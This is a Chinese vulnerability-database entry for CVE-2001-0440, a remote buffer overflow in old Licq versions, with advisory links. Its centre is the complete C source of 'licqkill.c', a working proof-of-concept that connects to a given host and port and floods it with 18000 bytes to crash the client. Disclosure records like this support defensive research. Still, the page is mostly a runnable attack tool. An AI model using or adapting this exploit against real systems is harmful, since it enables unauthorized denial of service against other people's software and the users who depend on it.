licq对数函数缓冲区溢出漏洞

licq对数函数缓冲区溢出漏洞

漏洞ID 1106149 漏洞类型 缓冲区溢出
发布时间 2000-12-26 更新时间 2005-05-02
图片[1]-licq对数函数缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0440
图片[2]-licq对数函数缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200107-015
漏洞平台 Unix CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/20646
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200107-015
|漏洞详情
licq1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/2406/info

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

/*
 * Name: Licqkill.c
 * Author: Stan Bubrouski <[email protected]>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
{
	char buf[18000];
	int i, sock, result;
	struct sockaddr_in sin;
	struct hostent *hn;

	printf("licqkill.c - Licq remote DoS by Stan Bubrouski <[email protected]>nn");

	if (argc < 3) 
	{
		fprintf(stderr, "Usage: %s <host> <port>n", argv[0]);
		exit(-1);
	}

	hn = gethostbyname(argv[1]);

	if (!hn)
	{
		fprintf(stderr, "%s: host lookup failuren", argv[1]);
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr = *(struct in_addr *)hn->h_addr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	if (result != 0) 
	{ 
		fprintf(stderr, "Failed to establish connection to %sn", argv[1]);
		exit(-1);
	}
	
	if (sock < 0)
	{
		fprintf(stderr, "Socket error.");
		exit(-1);
	}

	for (i=0; i<18000; i++)
		strncat(buf, "A", 1);
	send(sock, buf, sizeof(buf), 0);
	close(sock);
	fprintf(stdout, "Data sentnn");
}
|参考资料

来源:MANDRAKE
名称:MDKSA-2001:032
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-032.php3
来源:CONECTIVA
名称:CLA-2001:389
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio;=000389
来源:FREEBSD
名称:FreeBSD-SA-01:35
链接:http://archives.neohapsis.com/archives/freebsd/2001-04/0607.html
来源:XF
名称:licq-logging-bo(6645)
链接:http://xforce.iss.net/static/6645.php
来源:REDHAT
名称:RHSA-2001:023
链接:http://www.redhat.com/support/errata/RHSA-2001-023.html
来源:REDHAT
名称:RHSA-2001:022
链接:http://www.redhat.com/support/errata/RHSA-2001-022.html
来源:OSVDB
名称:5601
链接:http://www.osvdb.org/5601

相关推荐: Microsoft Outlook/Outlook Express Remote Denial Of Service Vulnerability

Microsoft Outlook/Outlook Express Remote Denial Of Service Vulnerability 漏洞ID 1098639 漏洞类型 Failure to Handle Exceptional Condition…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享